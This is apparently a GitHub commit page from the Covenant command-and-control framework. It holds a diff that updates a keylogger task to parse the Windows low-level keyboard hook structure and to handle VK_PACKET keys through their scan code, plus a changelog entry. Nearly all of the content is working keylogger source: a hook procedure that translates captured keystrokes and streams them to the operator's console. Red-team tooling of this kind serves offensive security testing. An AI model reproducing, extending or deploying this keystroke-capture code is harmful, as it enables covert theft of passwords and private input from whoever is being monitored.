Updated Keylogger to handle VK_PACKET virtual keys

cobbr · Sep 9, 2020 · d8f81f6 · d8f81f6
1 parent cc01743
commit d8f81f6
Show file tree

Hide file tree

Showing 2 changed files with 22 additions and 3 deletions.
diff --git a/CHANGELOG.md b/CHANGELOG.md
@@ -13,6 +13,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 - Restrict non-admin users from visiting other user's profile in UI
 - Updated ShellCode task to use file upload of raw binary
 - Updated streaming tasks to autoflush the console
+- Updated Keylogger to handle VK_PACKET virtual keys
 
 ### Fixed
 - Fix edit roles for CovenantUser UI bug

diff --git a/Covenant/Data/Tasks/SharpSploit.Enumeration.yaml b/Covenant/Data/Tasks/SharpSploit.Enumeration.yaml
@@ -849,8 +849,8 @@
                     }
                     if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                     {
-                        int vkCode = Marshal.ReadInt32(lParam);
-                        
+                        KbDllHookStruct kbHookStruct = (KbDllHookStruct) Marshal.PtrToStructure(lParam, typeof(KbDllHookStruct));
+                        int vkCode = kbHookStruct.VirtualKeyCode;
                         bool shifted = GetKeyState(160) < 0 || GetKeyState(161) < 0;
                         Keys keycode = (Keys)vkCode;
                         if (!(shifted && KeyDictShift.TryGetValue(keycode, out string append)) &&  !KeyDict.TryGetValue(keycode, out append))
@@ -865,12 +865,16 @@
                                 append = keycode.ToString().ToUpper();
                             }
                         }
+                        if (vkCode == 231)
+                        {
+                          append = ((char)kbHookStruct.ScanCode).ToString();
+                        }
                         Console.Write(append);
                     }
                     Console.Out.Flush();
                 }
                 catch (Exception e) {
-                  Console.Error.WriteLine("Keylogger HookProc exception - " + e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace);
+                  Console.Error.WriteLine("Keylogger Exception - " + e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace);
                 }
                 return CallNextHookEx(HookID, nCode, wParam, lParam);
             };
@@ -1244,6 +1248,20 @@
             Control = 131072,
             Alt = 262144
         }
+      
+        [StructLayout(LayoutKind.Sequential)]
+        internal struct KbDllHookStruct
+        {
+            public int VirtualKeyCode;
+
+            public int ScanCode;
+
+            public int Flags;
+
+            public int Time;
+
+            public int ExtraInfo;
+        }
     }
   TaskingType: Assembly
   UnsafeCompile: false